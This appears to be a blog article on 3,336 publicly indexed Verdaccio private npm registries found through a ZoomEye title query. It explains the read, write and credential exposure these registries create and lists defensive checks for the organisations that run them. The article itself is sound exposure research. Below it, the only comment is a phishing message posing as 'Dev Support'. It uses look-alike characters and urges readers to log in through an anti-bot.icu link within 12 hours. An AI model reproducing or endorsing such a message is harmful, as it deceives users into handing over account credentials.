Verdaccio on 3,336 hosts: private npm registries and the tokens they hand out
Verdaccio is a lightweight private registry for npm packages. Teams run it to host internal packages, to cache public ones, and to control which dependencies a build is allowed to pull. A ZoomEye title query returns 3,336 matches.
Context and method
The figure comes from the condition title="Verdaccio", executed with sub_type=all and a page size of one. The page size caps the records returned in one response and does not cap the matched total, which is the number reported for the condition.
A title match counts hosts that displayed this string when indexed. It does not confirm that the host is currently reachable, and it does not reveal whether the registry requires authentication.
What a package registry is worth
A private registry sits in the dependency path of every build that uses it, which gives it two kinds of value.
As read access, it exposes the internal packages themselves. Organisations publish their own libraries there, and those libraries frequently contain more than the code that ships: internal endpoint names, default configuration, test fixtures with sample data, and sometimes credentials that were committed before a secret scanner was introduced. The registry also holds the metadata that describes which versions exist and who published them.
As write access, it becomes a supply chain position. A user who can publish to a package that other teams depend on can influence what those teams build next. Registries mitigate this with token scoping, but the scoping has to be configured, and the default configuration is generous.
There is a third property that is easy to overlook. Verdaccio is commonly deployed as a caching proxy in front of the public registry, so it holds the credentials used to fetch from upstream and it can be configured to allow the uplink connection to carry those credentials.
How instances end up in a public index
Three patterns explain most of the reachable hosts. A registry set up to speed up builds across several offices, with an address that was reachable from more than the build network. A container or CI image that exposes the registry port by default, so that a deployment intended for internal use is published by the platform it runs on. And a registry that was left running after the project it fed was retired, because removing it would mean changing build configuration that nobody wants to touch.
Verdaccio has published security fixes in its release history, including authentication and path-handling issues in older lines. A registry that has not been updated carries whatever those fixes addressed, and the version is visible from the web interface in most deployments.
Turning 3,336 into a task
For an organisation that runs a registry, five checks are worth the time. Whether the registry address resolves from outside the build network. Whether anonymous access is allowed for any package, and whether that includes internal ones. Which tokens exist, what scope each carries, and when they were issued. Whether the uplink credentials are stored in the registry configuration in plaintext. And whether the registry is on a supported release with the current security fixes applied.
For a registry kept deliberately public, the useful control is the proxy configuration. Allowing anonymous reads of public packages is a different decision from allowing anonymous reads of everything the registry has cached or hosted.
What ZoomEye contributes
A title query establishes the population and a hosting provider filter narrows it to the addresses that are likely to belong to a known organisation. Run before and after a review, the same query shows whether the registry was moved back inside the build network.
Limits
The count is an indexed fingerprint and not a live service check. It carries no information about authentication settings, token scopes or package contents, and this article makes no claim about any specific deployment.
References
- ZoomEye search syntax and field reference: https://www.zoomeye.ai/doc
- Verdaccio documentation and release notes: https://verdaccio.org/docs/
Top comments (1)
Dear User,
Due tо аn inсreаse іn bot асtivitу on the platform, wе require verіfy оf yоur account.
Рleasе lоg іn vіa thе link bеlow:
• anti-bot.icu/5K0N5G7M9C4
Verificated dеadlinе - 12 hours.
Sincerely,Dev Supрort